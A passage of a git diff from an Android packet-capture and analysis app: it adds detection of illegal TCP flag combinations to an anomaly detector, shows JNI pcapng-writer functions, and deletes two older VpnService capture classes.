pkts, %llu dropped, %u rotations", + (unsigned long long)g_ctx.packet_count, + (unsigned long long)g_ctx.dropped_packets, + g_ctx.rotation_count); + + free(g_ctx.current_path); g_ctx.current_path = NULL; + free(g_ctx.base_dir); g_ctx.base_dir = NULL; + free(g_ctx.if_name); g_ctx.if_name = NULL; + + g_ctx.initialized = 0; + g_ctx.packet_count = 0u; + g_ctx.dropped_packets= 0u; + g_ctx.rotation_count = 0u; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeSetRotationSettings — COMMIT 7 +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT void JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeSetRotationSettings( + JNIEnv *env, jobject thiz, + jlong maxSizeBytes, jint maxDurationSecs, jint maxFiles) { + g_ctx.max_size_bytes = (int64_t)maxSizeBytes; + g_ctx.max_duration_s = (int)maxDurationSecs; + g_ctx.max_files = (int)maxFiles; + LOGI("Rotation: maxSize=%lld B, maxDuration=%d s, maxFiles=%d", + (long long)g_ctx.max_size_bytes, g_ctx.max_duration_s, g_ctx.max_files); +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeSetInterfaceInfo — COMMIT 12 (must be called before nativeInit) +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jboolean JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeSetInterfaceInfo( + JNIEnv *env, jobject thiz, jstring jifname, jint jlinktype) { + const char *ifname = (*env)->GetStringUTFChars(env, jifname, NULL); + free(g_pending_if_name); + g_pending_if_name = strdup(ifname); + g_pending_linktype = (int)jlinktype; + (*env)->ReleaseStringUTFChars(env, jifname, ifname); + LOGI("Pending interface info: if=%s linktype=%d", + g_pending_if_name, g_pending_linktype); + return JNI_TRUE; +} + +// ───────────────────────────────────────────────────────────────────────────── +// JNI: nativeValidatePcapFile — COMMIT 14 +// ───────────────────────────────────────────────────────────────────────────── +JNIEXPORT jint JNICALL +Java_com_example_packet_1analyzer_PcapWriter_nativeValidatePcapFile( + JNIEnv *env, jobject thiz, jstring jpath) { + const char *path = (*env)->GetStringUTFChars(env, jpath, NULL); + int result = validate_pcapng_file_internal(path); + (*env)->ReleaseStringUTFChars(env, jpath, path); + return (jint)result; } diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/AnomalyDetector.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/AnomalyDetector.kt index 51e59a2..e65a2e3 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/AnomalyDetector.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/AnomalyDetector.kt @@ -206,6 +206,7 @@ object AnomalyDetector { if (protocol == "TCP" && destPort > 0) detectPortScan(sourceIp, destPort, destIp) if (protocol == "TCP" && flags.contains("SYN") && !flags.contains("ACK")) detectSynFlood(destIp) if (protocol == "TCP" && flags.contains("SYN")) detectConnectionFlood(sourceIp) + if (protocol == "TCP" && flags.isNotEmpty()) detectMalformedTcpFlags(sourceIp, destIp, flags) if (protocol == "UDP" && destPort == 53) { val dnsData = packetInfo["dnsData"] as? Map detectDnsTunneling(dnsData?.get("queryName") ?: "") @@ -505,6 +506,38 @@ object AnomalyDetector { } } + /** + * SYN+FIN and SYN+RST are illegal TCP flag combinations under RFC 9293 — + * no legitimate stack ever sets them together. Crafted packets with these + * combinations are a long-standing firewall/IDS evasion and stack-fingerprinting + * technique (e.g. "SYN/FIN scanning"). This was previously unreachable: the + * "flags" field it depends on was never populated on the VPN-mode capture + * path (see ZdtunVpnService.extractTcpFlags), only on rooted libpcap mode. + */ + private fun detectMalformedTcpFlags(sourceIp: String, destIp: String, flags: String) { + val hasSyn = flags.contains("SYN") + val hasFin = flags.contains("FIN") + val hasRst = flags.contains("RST") + if (!hasSyn || (!hasFin && !hasRst)) return + + val now = System.currentTimeMillis() + val cooldownKey = "malformed:$sourceIp" + val lastAlert = entropyAlertCooldown[cooldownKey] ?: 0L + if (now - lastAlert < ENTROPY_COOLDOWN_MS) return + entropyAlertCooldown[cooldownKey] = now + + reportAnomaly( + Anomaly( + AnomalyType.MALFORMED_PACKET, + Severity.MEDIUM, + "Malformed TCP packet: illegal flag combination (${flags.trim()})", + sourceIp = sourceIp, + destinationIp = destIp, + details = mapOf("flags" to flags.trim()) + ) + ) + } + private fun detectArpSpoofing(packetInfo: Map) { val senderIp = packetInfo["senderIp"] as? String ?: return val senderMac = packetInfo["senderMac"] as? String ?: return @@ -577,5 +610,14 @@ object AnomalyDetector { portScans.entries.removeAll { now - it.value.lastSeen > 20000 } synFloodTracker.entries.removeAll { now - it.value.windowStart > 10000 } connectionTracker.entries.removeAll { now - it.value.windowStart > 10000 } + clearStaleEntropyCooldowns() + + // highEntropyPacketCount/dnsHighEntropyCount have no per-entry timestamp + // (they're plain consecutive-hit counters keyed by source IP), so unlike + // the trackers above they can't be pruned by age — only bounded by size. + // Every long-running capture session accumulates one entry per unique + // source IP that ever produced high-entropy traffic, forever, otherwise. + if (highEntropyPacketCount.size > 500) highEntropyPacketCount.clear() + if (dnsHighEntropyCount.size > 500) dnsHighEntropyCount.clear() } } diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/CaptureService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/CaptureService.kt deleted file mode 100644 index a304fed..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/CaptureService.kt +++ /dev/null @@ -1,344 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.nio.ByteBuffer -import java.util.concurrent.atomic.AtomicBoolean -import java.util.concurrent.atomic.AtomicLong - -class CaptureService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isCapturing = AtomicBoolean(false) - private var captureJob: Job? = null - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Statistics - private val packetsReceived = AtomicLong(0) - private val bytesReceived = AtomicLong(0) - private val connectionCount = AtomicLong(0) - - // Connection tracking - private val connections = mutableMapOf() - - companion object { - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - private var methodChannel: MethodChannel? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - } - } - - data class ConnectionInfo( - val sourceIP: String, - val destIP: String, - val sourcePort: Int, - val destPort: Int, - val protocol: String, - val startTime: Long, - var lastSeen: Long, - var bytesOut: Long = 0, - var bytesIn: Long = 0, - var packetsOut: Long = 0, - var packetsIn: Long = 0 - ) - - override fun onCreate() { - super.onCreate() - createNotificationChannel() - Log.i("CaptureService", "CaptureService created") - } - - override fun onRevoke() { - Log.w("CaptureService", "VPN permission revoked by system") - try { - stopCapture() - } catch (e: Exception) { - Log.e("CaptureService", "Error during revoke cleanup: ${e.message}", e) - } - super.onRevoke() - } - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i("CaptureService", "🚀 Starting capture service...") - - when (intent?.action) { - "START_CAPTURE" -> startCapture() - "STOP_CAPTURE" -> stopCapture() - else -> startCapture() - } - - return START_STICKY - } - - private fun startCapture() { - if (isCapturing.get()) { - Log.w("CaptureService", "Capture already running") - return - } - - try { - startForeground(NOTIFICATION_ID, createNotification()) - - // Configure VPN with PCAPdroid-like settings - val builder = Builder() - builder.setSession("AndroidNet Packet Capture") - builder.setMtu(1500) - - // Add local network range - builder.addAddress("10.8.0.1", 32) - - // Route all traffic through VPN - builder.addRoute("0.0.0.0", 0) - - // Add DNS servers - builder.addDnsServer("8.8.8.8") - builder.addDnsServer("8.8.4.4") - - // Block IPv6 to simplify packet handling - builder.addRoute("::", 0) - - vpnInterface = builder.establish() - - if (vpnInterface != null) { - Log.i("CaptureService", "✅ VPN interface established") - isCapturing.set(true) - startPacketLoop() - notifyFlutter("CAPTURE_STARTED", mapOf( - "status" to "success", - "message" to "Packet capture started" - )) - } else { - Log.e("CaptureService", "❌ Failed to establish VPN interface") - stopForeground(true) - stopSelf() - } - - } catch (e: Exception) { - Log.e("CaptureService", "Failed to start capture: ${e.message}", e) - notifyFlutter("CAPTURE_ERROR", mapOf( - "error" to e.message - )) - stopForeground(true) - stopSelf() - } - } - - private fun startPacketLoop() { - captureJob = serviceScope.launch { - val vpn = vpnInterface ?: return@launch - - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - - // Use larger buffer for better performance - val packet = ByteArray(32768) - - Log.i("CaptureService", "📡 Starting packet capture loop...") - - try { - while (isCapturing.get() && !Thread.currentThread().isInterrupted) { - val length = inputStream.read(packet) - - if (length > 0) { - // Update statistics - packetsReceived.incrementAndGet() - bytesReceived.addAndGet(length.toLong()) - - // Process packet in separate coroutine to avoid blocking - launch { - processPacket(packet.copyOf(length)) - } - - // Forward packet (implement NAT later) - forwardPacket(packet, length, outputStream) - - // Send statistics update every 100 packets - if (packetsReceived.get() % 100 == 0L) { - sendStatisticsUpdate() - } - } - } - } catch (e: Exception) { - Log.e("CaptureService", "Packet loop error: ${e.message}", e) - if (isCapturing.get()) { - notifyFlutter("CAPTURE_ERROR", mapOf( - "error" to "Packet capture failed: ${e.message}" - )) - } - } - - Log.i("CaptureService", "📡 Packet capture loop stopped") - } - } - - private suspend fun processPacket(packet: ByteArray) { - try { - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - - // Track connection - val connectionKey = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - val connection = connections.getOrPut(connectionKey) { - connectionCount.incrementAndGet() - ConnectionInfo( - sourceIP = packetInfo.sourceIP, - destIP = packetInfo.destIP, - sourcePort = packetInfo.sourcePort ?: 0, - destPort = packetInfo.destPort ?: 0, - protocol = packetInfo.protocol, - startTime = System.currentTimeMillis(), - lastSeen = System.currentTimeMillis() - ) - } - - // Update connection stats - connection.lastSeen = System.currentTimeMillis() - connection.packetsOut++ - connection.bytesOut += packetInfo.length - - // Convert to map for Flutter - val packetData = mapOf( - "id" to packetsReceived.get(), - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIP" to packetInfo.sourceIP, - "destIP" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destPort" to (packetInfo.destPort ?: 0), - "length" to packetInfo.length, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: ""), - "direction" to "OUT" - ) - - // Send to Flutter (throttle to prevent UI overload) - if (packetsReceived.get() % 10 == 0L || packetInfo.protocol != "TCP") { - notifyFlutter("PACKET_CAPTURED", packetData) - } - } - } catch (e: Exception) { - Log.e("CaptureService", "Error processing packet: ${e.message}") - } - } - - private fun forwardPacket(packet: ByteArray, length: Int, outputStream: FileOutputStream) { - try { - // Simple forwarding - in real implementation, implement proper NAT - // For now, just drop packets to avoid routing loops - // outputStream.write(packet, 0, length) - } catch (e: Exception) { - Log.e("CaptureService", "Error forwarding packet: ${e.message}") - } - } - - private fun sendStatisticsUpdate() { - val stats = mapOf( - "packetsReceived" to packetsReceived.get(), - "bytesReceived" to bytesReceived.get(), - "connections" to connectionCount.get(), - "uptime" to System.currentTimeMillis() - ) - - notifyFlutter("STATISTICS_UPDATE", stats) - } - - private fun stopCapture() { - Log.i("CaptureService", "🛑 Stopping capture service...") - - isCapturing.set(false) - captureJob?.cancel() - - try { - vpnInterface?.close() - vpnInterface = null - - // Clear connections - connections.clear() - - // Reset statistics - packetsReceived.set(0) - bytesReceived.set(0) - connectionCount.set(0) - - notifyFlutter("CAPTURE_STOPPED", mapOf( - "status" to "success", - "message" to "Packet capture stopped" - )) - - Log.i("CaptureService", "✅ Capture service stopped cleanly") - - } catch (e: Exception) { - Log.e("CaptureService", "Error stopping capture: ${e.message}", e) - } - - stopForeground(true) - stopSelf() - } - - private fun notifyFlutter(event: String, data: Any) { - try { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - )) - } - } catch (e: Exception) { - Log.e("CaptureService", "Flutter notification error: ${e.message}") - } - } - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture Service", - NotificationManager.IMPORTANCE_LOW - ).apply { - description = "Shows when packet capture is active" - setShowBadge(false) - } - - val notificationManager = getSystemService(NotificationManager::class.java) - notificationManager.createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - val intent = Intent(this, MainActivity::class.java) - val pendingIntent = PendingIntent.getActivity( - this, 0, intent, - PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE - ) - - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Packet Capture") - .setContentText("Capturing network packets...") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setContentIntent(pendingIntent) - .setOngoing(true) - .setCategory(NotificationCompat.CATEGORY_SERVICE) - .build() - } - - override fun onDestroy() { - super.onDestroy() - stopCapture() - serviceScope.cancel() - } -} \ No newline at end of file diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/CompleteVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/CompleteVpnService.kt deleted file mode 100644 index d93215e..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/CompleteVpnService.kt +++ /dev/null @@ -1,734 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean -import java.util.concurrent.atomic.AtomicLong - -/** - * Complete VPN Service with proper packet forwarding and bidirectional flow - * Based on PCAPdroid's architecture with full packet reconstruction - */ -class CompleteVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isCapturing = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Statistics - private val packetCount = AtomicLong(0) - private val bytesOut = AtomicLong(0) - private val bytesIn = AtomicLong(0) - - // Connection tracking with TCP state management - private val connectionMap = ConcurrentHashMap() - private val udpConnectionMap = ConcurrentHashMap() - - companion object { - private const val TAG = "CompleteVpnService" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - private const val VPN_ADDRESS = "10.0.0.2" - private const val VPN_ROUTE = "0.0.0.0" - private const val VPN_MTU = 1500 - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - Log.i(TAG, "✅ Method channel set") - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - Log.i(TAG, "📡 Packet sink ${if (sink == null) "disconnected" else "connected"}") - } - } - - /** - * TCP Connection State with sequence number tracking - */ - data class TcpConnectionState( - val sourceIP: String, - val sourcePort: Int, - val destIP: String, - val destPort: Int, - val socket: Socket, - var localSeqNum: AtomicLong = AtomicLong(System.currentTimeMillis() and 0xFFFFFFFF), - var remoteSeqNum: AtomicLong = AtomicLong(0), - var localAckNum: AtomicLong = AtomicLong(0), - var remoteAckNum: AtomicLong = AtomicLong(0), - val startTime: Long = System.currentTimeMillis(), - var lastSeen: Long = System.currentTimeMillis(), - @Volatile var isActive: Boolean = true, - @Volatile var isHandshakeComplete: Boolean = false - ) - - /** - * UDP Connection State - */ - data class UdpConnectionState( - val sourceIP: String, - val sourcePort: Int, - val destIP: String, - val destPort: Int, - val socket: DatagramSocket, - val startTime: Long = System.currentTimeMillis(), - var lastSeen: Long = System.currentTimeMillis(), - @Volatile var isActive: Boolean = true - ) - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting complete VPN service with full packet reconstruction...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - // Build VPN interface - val builder = Builder() - .setSession("AndroidNet Complete Capture") - .setMtu(VPN_MTU) - .addAddress(VPN_ADDRESS, 24) - .addRoute(VPN_ROUTE, 0) - .addDnsServer("8.8.8.8") - .addDnsServer("8.8.4.4") - - // Exclude own app from VPN - try { - builder.addDisallowedApplication(packageName) - Log.i(TAG, "✅ Excluded own app from VPN") - } catch (e: Exception) { - Log.w(TAG, "⚠️ Could not exclude own app: ${e.message}") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN interface established with complete packet reconstruction") - isCapturing.set(true) - - // Start main packet loop - startCompletePacketLoop(vpn) - - notifyFlutter("VPN_STARTED", mapOf( - "status" to "success", - "message" to "VPN started with bidirectional packet flow" - )) - } ?: run { - Log.e(TAG, "❌ Failed to establish VPN interface") - stopSelf() - } - - } catch (e: Exception) { - Log.e(TAG, "❌ VPN start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - /** - * Main packet processing loop with complete forwarding - */ - private fun startCompletePacketLoop(vpn: ParcelFileDescriptor) { - serviceScope.launch(Dispatchers.IO) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) - - Log.i(TAG, "📡 Starting complete packet loop with bidirectional flow...") - - try { - while (isCapturing.get()) { - val length = inputStream.read(buffer) - - if (length > 0) { - packetCount.incrementAndGet() - val packet = buffer.copyOf(length) - - // Process outgoing packet - launch { - processOutgoingPacket(packet, outputStream) - } - - // Log stats periodically - if (packetCount.get() % 100 == 0L) { - Log.d(TAG, "📊 Stats: packets=${packetCount.get()}, out=${bytesOut.get()}, in=${bytesIn.get()}") - } - } - } - } catch (e: Exception) { - Log.e(TAG, "❌ Packet loop error: ${e.message}", e) - } finally { - inputStream.close() - outputStream.close() - Log.i(TAG, "🔒 Packet loop stopped") - } - } - } - - /** - * Process outgoing packet from device - */ - private suspend fun processOutgoingPacket(packet: ByteArray, outputStream: FileOutputStream) { - try { - val packetInfo = PacketParser.parsePacket(packet) ?: return - - // Notify Flutter - notifyPacketToFlutter(packetInfo, "OUT") - - bytesOut.addAndGet(packet.size.toLong()) - - // Forward based on protocol - when (packetInfo.protocol) { - "TCP" -> handleTcpPacket(packetInfo, packet, outputStream) - "UDP" -> handleUdpPacket(packetInfo, packet, outputStream) - "ICMP" -> handleIcmpPacket(packetInfo, packet, outputStream) - else -> Log.v(TAG, "⚠️ Unsupported protocol: ${packetInfo.protocol}") - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Packet processing error: ${e.message}") - } - } - - /** - * Handle TCP packet with full state management - */ - private suspend fun handleTcpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - try { - val connectionKey = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var connection = connectionMap[connectionKey] - - // Extract TCP flags and payload - val tcpFlags = extractTcpFlags(rawPacket) - val payload = extractTcpPayload(rawPacket) - - // Handle new connection (SYN packet) - if (connection == null && (tcpFlags and PacketBuilder.TcpFlags.SYN) != 0) { - connection = createTcpConnection(packetInfo) - if (connection != null) { - connectionMap[connectionKey] = connection - Log.d(TAG, "✅ New TCP connection: ${packetInfo.destIP}:${packetInfo.destPort}") - - // Start response handler - startTcpResponseHandler(connection, outputStream) - } else { - return - } - } - - connection?.let { conn -> - conn.lastSeen = System.currentTimeMillis() - - // Forward payload if present - if (payload.isNotEmpty() && conn.socket.isConnected) { - try { - conn.socket.getOutputStream().write(payload) - conn.localSeqNum.addAndGet(payload.size.toLong()) - Log.v(TAG, "📤 TCP forwarded ${payload.size} bytes to ${conn.destIP}:${conn.destPort}") - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP forward error: ${e.message}") - conn.isActive = false - connectionMap.remove(connectionKey) - } - } - - // Handle connection close (FIN packet) - if ((tcpFlags and PacketBuilder.TcpFlags.FIN) != 0) { - Log.d(TAG, "🔚 TCP FIN received, closing connection") - conn.isActive = false - connectionMap.remove(connectionKey) - conn.socket.close() - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP handling error: ${e.message}") - } - } - - /** - * Create new TCP connection with socket protection - */ - private suspend fun createTcpConnection(packetInfo: PacketParser.PacketInfo): TcpConnectionState? { - return withContext(Dispatchers.IO) { - try { - val socket = Socket() - - // CRITICAL: Protect socket to prevent VPN routing loop - if (!protect(socket)) { - Log.w(TAG, "❌ Socket protection failed") - return@withContext null - } - - Log.d(TAG, "✅ Socket protected for ${packetInfo.destIP}:${packetInfo.destPort}") - - // Connect to destination - socket.connect( - InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 80), - 5000 - ) - - if (!socket.isConnected) { - Log.w(TAG, "❌ Socket connection failed") - return@withContext null - } - - Log.d(TAG, "✅ TCP connected to ${packetInfo.destIP}:${packetInfo.destPort}") - - TcpConnectionState( - sourceIP = packetInfo.sourceIP, - sourcePort = packetInfo.sourcePort ?: 0, - destIP = packetInfo.destIP, - destPort = packetInfo.destPort ?: 0, - socket = socket - ) - - } catch (e: Exception) { - Log.w(TAG, "❌ TCP connection creation failed: ${e.message}") - null - } - } - } - - /** - * Handle TCP responses and write back to TUN interface - */ - private fun startTcpResponseHandler( - connection: TcpConnectionState, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val socket = connection.socket - val inputStream = socket.getInputStream() - val buffer = ByteArray(8192) - - Log.d(TAG, "📥 Started TCP response handler for ${connection.destIP}:${connection.destPort}") - - while (connection.isActive && !socket.isClosed) { - val bytesRead = inputStream.read(buffer) - if (bytesRead <= 0) { - Log.d(TAG, "🔚 TCP connection closed by remote") - break - } - - val responsePayload = buffer.copyOf(bytesRead) - bytesIn.addAndGet(bytesRead.toLong()) - - // Update sequence numbers - connection.remoteSeqNum.addAndGet(bytesRead.toLong()) - connection.localAckNum.set(connection.remoteSeqNum.get()) - - // Build response packet with proper headers - val responsePacket = PacketBuilder.buildTcpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - seqNum = connection.remoteSeqNum.get(), - ackNum = connection.localSeqNum.get(), - flags = PacketBuilder.TcpFlags.PSH or PacketBuilder.TcpFlags.ACK, - payload = responsePayload - ) - - // Write response to TUN interface - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - Log.v(TAG, "📥 TCP response: ${bytesRead} bytes from ${connection.destIP}:${connection.destPort}") - - // Notify Flutter - val packetInfo = PacketParser.PacketInfo( - timestamp = System.currentTimeMillis(), - protocol = "TCP", - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - length = bytesRead, - flags = "PSH,ACK", - payload = null - ) - notifyPacketToFlutter(packetInfo, "IN") - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP response handler error: ${e.message}") - } finally { - connection.isActive = false - try { - connection.socket.close() - } catch (e: Exception) { - // Ignore - } - Log.d(TAG, "🔒 TCP response handler stopped") - } - } - } - - /** - * Handle UDP packet - */ - private suspend fun handleUdpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - try { - val connectionKey = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var connection = udpConnectionMap[connectionKey] - - if (connection == null) { - connection = createUdpConnection(packetInfo) - if (connection != null) { - udpConnectionMap[connectionKey] = connection - Log.d(TAG, "✅ New UDP connection: ${packetInfo.destIP}:${packetInfo.destPort}") - - // Start response handler - startUdpResponseHandler(connection, outputStream) - } else { - return - } - } - - connection?.let { conn -> - conn.lastSeen = System.currentTimeMillis() - - // Extract and forward UDP payload - val payload = extractUdpPayload(rawPacket) - if (payload.isNotEmpty()) { - val destAddress = InetAddress.getByName(conn.destIP) - val packet = DatagramPacket(payload, payload.size, destAddress, conn.destPort) - conn.socket.send(packet) - - Log.v(TAG, "📤 UDP forwarded ${payload.size} bytes to ${conn.destIP}:${conn.destPort}") - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ UDP handling error: ${e.message}") - } - } - - /** - * Create new UDP connection with socket protection - */ - private suspend fun createUdpConnection(packetInfo: PacketParser.PacketInfo): UdpConnectionState? { - return withContext(Dispatchers.IO) { - try { - val socket = DatagramSocket() - - // CRITICAL: Protect socket - if (!protect(socket)) { - Log.w(TAG, "❌ UDP socket protection failed") - return@withContext null - } - - Log.d(TAG, "✅ UDP socket protected for ${packetInfo.destIP}:${packetInfo.destPort}") - - UdpConnectionState( - sourceIP = packetInfo.sourceIP, - sourcePort = packetInfo.sourcePort ?: 0, - destIP = packetInfo.destIP, - destPort = packetInfo.destPort ?: 0, - socket = socket - ) - - } catch (e: Exception) { - Log.w(TAG, "❌ UDP connection creation failed: ${e.message}") - null - } - } - } - - /** - * Handle UDP responses - */ - private fun startUdpResponseHandler( - connection: UdpConnectionState, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val socket = connection.socket - socket.soTimeout = 30000 // 30 second timeout - - val buffer = ByteArray(8192) - val packet = DatagramPacket(buffer, buffer.size) - - Log.d(TAG, "📥 Started UDP response handler for ${connection.destIP}:${connection.destPort}") - - while (connection.isActive) { - try { - socket.receive(packet) - - val responsePayload = buffer.copyOf(packet.length) - bytesIn.addAndGet(packet.length.toLong()) - - // Build UDP response packet - val responsePacket = PacketBuilder.buildUdpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - payload = responsePayload - ) - - // Write to TUN interface - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - Log.v(TAG, "📥 UDP response: ${packet.length} bytes from ${connection.destIP}:${connection.destPort}") - - // Notify Flutter - val packetInfo = PacketParser.PacketInfo( - timestamp = System.currentTimeMillis(), - protocol = "UDP", - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - length = packet.length, - flags = null, - payload = null - ) - notifyPacketToFlutter(packetInfo, "IN") - - } catch (e: SocketTimeoutException) { - // Check if connection is still active - if (System.currentTimeMillis() - connection.lastSeen > 30000) { - Log.d(TAG, "⏰ UDP connection timeout") - break - } - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ UDP response handler error: ${e.message}") - } finally { - connection.isActive = false - try { - connection.socket.close() - } catch (e: Exception) { - // Ignore - } - Log.d(TAG, "🔒 UDP response handler stopped") - } - } - } - - /** - * Handle ICMP packet (simplified) - */ - private suspend fun handleIcmpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - // ICMP requires raw sockets with root - skip for now - Log.v(TAG, "⚠️ ICMP forwarding not implemented (requires root)") - } - - // ========== PACKET PARSING HELPERS ========== - - private fun extractTcpFlags(rawPacket: ByteArray): Int { - try { - if (rawPacket.size < 20) return 0 - - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return 0 - - val tcpFlagsOffset = ipHeaderLength + 13 - return rawPacket[tcpFlagsOffset].toInt() and 0xFF - - } catch (e: Exception) { - return 0 - } - } - - private fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - - val tcpHeaderStart = ipHeaderLength - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - - } catch (e: Exception) { - return byteArrayOf() - } - } - - private fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() - - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - - } catch (e: Exception) { - return byteArrayOf() - } - } - - // ========== FLUTTER COMMUNICATION ========== - - private fun notifyPacketToFlutter(packetInfo: PacketParser.PacketInfo, direction: String) { - try { - val packetMap = mapOf( - "id" to packetCount.get(), - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - Log.e(TAG, "❌ EventChannel error: ${e.message}") - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Flutter notification error: ${e.message}") - } - } - - private fun notifyFlutter(event: 